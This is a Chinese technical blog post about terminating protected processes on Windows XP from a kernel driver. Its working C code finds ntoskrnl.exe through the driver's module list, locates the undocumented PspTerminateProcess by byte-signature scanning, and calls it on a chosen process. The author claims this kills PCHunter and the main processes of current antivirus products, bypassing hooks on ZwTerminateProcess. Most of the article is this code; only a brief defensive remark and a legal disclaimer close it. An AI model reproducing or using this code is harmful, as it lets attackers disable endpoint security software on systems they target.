浅谈进程强杀
字数 1025 2025-08-24 20:49:22
深入解析进程强杀技术:从三环到零环的对抗
前言
进程保护与强杀是安全领域永恒的攻防话题。传统的进程保护通常通过三环(用户态)的Hook技术实现,如Inline Hook、IAT Hook等。然而,这些技术相对容易被检测和绕过。现代安全软件(AV/EDR)往往将防护提升到零环(内核态),使得用户态的恶意软件难以对抗。因此,恶意软件也进化到内核态,与安全软件展开公平博弈。
基础API:ZwTerminateProcess
ZwTerminateProcess是微软文档化的内核API,用于终止进程及其所有线程:
NTSYSAPI NTSTATUS ZwTerminateProcess(
[in, optional] HANDLE ProcessHandle,
[in] NTSTATUS ExitStatus
);
攻击者可以通过调用此API终止安全软件进程。作为防御,安全软件会在内核层Hook此API,当检测到自身进程被终止时阻止操作。
进阶技术:PspTerminateProcess
PspTerminateProcess是微软未文档化的内核函数,但实际存在于系统中。通过Windbg可以验证其存在:
kd> u PspTerminateProcess l40
nt!PspTerminateProcess:
805c9da4 8bff mov edi,edi
805c9da6 55 push ebp
805c9da7 8bec mov ebp,esp
...
定位未文档化函数的方法
- 暴力搜索:提取函数特征码,在全内存范围内搜索
- 间接调用:通过已文档化函数调用链找到目标函数
特征码提取技术
从反汇编代码中提取独特且稳定的特征码:
ULONG str1 = 0x3b08758b; // mov esi,dword ptr [ebp+8] / cmp esi,dword ptr [eax+44h]
ULONG str2 = 0x0248be8d; // lea edi,[esi+248h]
ULONG str3 = 0x0174868d; // lea eax,[esi+174h]
特征码选择原则:
- 避免常见指令序列
- 选择具有独特性的指令组合
- 考虑不同版本系统的兼容性
代码实现详解
1. 获取ntoskrnl.exe模块信息
通过驱动对象的DriverSection成员遍历内核模块链表:
typedef struct _LDR_DATA_TABLE_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
LIST_ENTRY HashLinks;
ULONG SectionPointer;
ULONG CheckSum;
ULONG TimeDateStamp;
ULONG LoadedImports;
ULONG EntryPointActivationContext;
ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
查找ntoskrnl.exe模块:
UNICODE_STRING ntoskrnl = {0};
RtlInitUnicodeString(&ntoskrnl, L"ntoskrnl.exe");
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriver = (PLDR_DATA_TABLE_ENTRY)pDriver->DriverSection;
PLDR_DATA_TABLE_ENTRY PMoudleLinkDriverNext = PMoudleLinkDriver;
LONG x = RtlCompareUnicodeString(&(PMoudleLinkDriver->BaseDllName), &ntoskrnl, TRUE);
while(x != 0) {
PMoudleLinkDriverNext = (PLDR_DATA_TABLE_ENTRY)PMoudleLinkDriverNext->InLoadOrderLinks.Flink;
x = RtlCompareUnicodeString(&(PMoudleLinkDriverNext->BaseDllName), &ntoskrnl, TRUE);
}
ULONG pNtoskrnlBase = PMoudleLinkDriverNext->DllBase;
ULONG pNtoskrnlLimit = PMoudleLinkDriverNext->SizeOfImage;
2. 特征码搜索实现
遍历ntoskrnl.exe内存空间搜索特征码:
for(ULONG i = pNtoskrnlBase; i < pNtoskrnlBase + pNtoskrnlLimit; i++) {
if(*(PULONG)i == str1) {
if(*(PULONG)(i + 0x10) == str2) {
if(*(PULONG)(i + 0x1c) == str3) {
PspTerminateProcess = (funcPspTerminateProcess)(i - 0xc);
break;
}
}
}
}
3. 定义函数指针并调用
typedef NTSTATUS (*funcPspTerminateProcess)(PEPROCESS process, NTSTATUS ExitStatus);
// 获取目标进程的PEPROCESS
PEPROCESS pEprocesszz = NULL;
NTSTATUS status = PsLookupProcessByProcessId((HANDLE)1232, &pEprocesszz);
if(status != STATUS_SUCCESS) {
DbgPrint(TEXT("获取进程的PEPROCESS失败\n"));
return status;
}
// 调用PspTerminateProcess
status = PspTerminateProcess(pEprocesszz, 0);
if(status != STATUS_SUCCESS) {
DbgPrint(TEXT("杀死进程失败\n"));
}
DbgPrint(TEXT("杀死进程成功\n"));
实际对抗效果
- 对抗PCHunter:这类内核工具具有自我保护机制,普通方法无法终止
- 对抗现代AV:最新版杀毒软件的主防进程也能被成功终止
注意事项与扩展
- 系统版本差异:不同Windows版本的
PspTerminateProcess函数名和实现可能变化 - 更多未文档化函数:内核中还有许多类似未公开函数可用于对抗
- 防御思路:安全软件应监控关键内核函数的内存修改和调用
总结
通过利用未文档化的内核函数PspTerminateProcess,攻击者可以绕过安全软件对ZwTerminateProcess的Hook保护,实现进程强杀。这种技术展示了内核层攻防对抗的复杂性,也强调了安全产品需要多层次的防护策略。
注:本文技术基于Windows XP系统,不同版本需相应调整。实际应用中请遵守法律法规。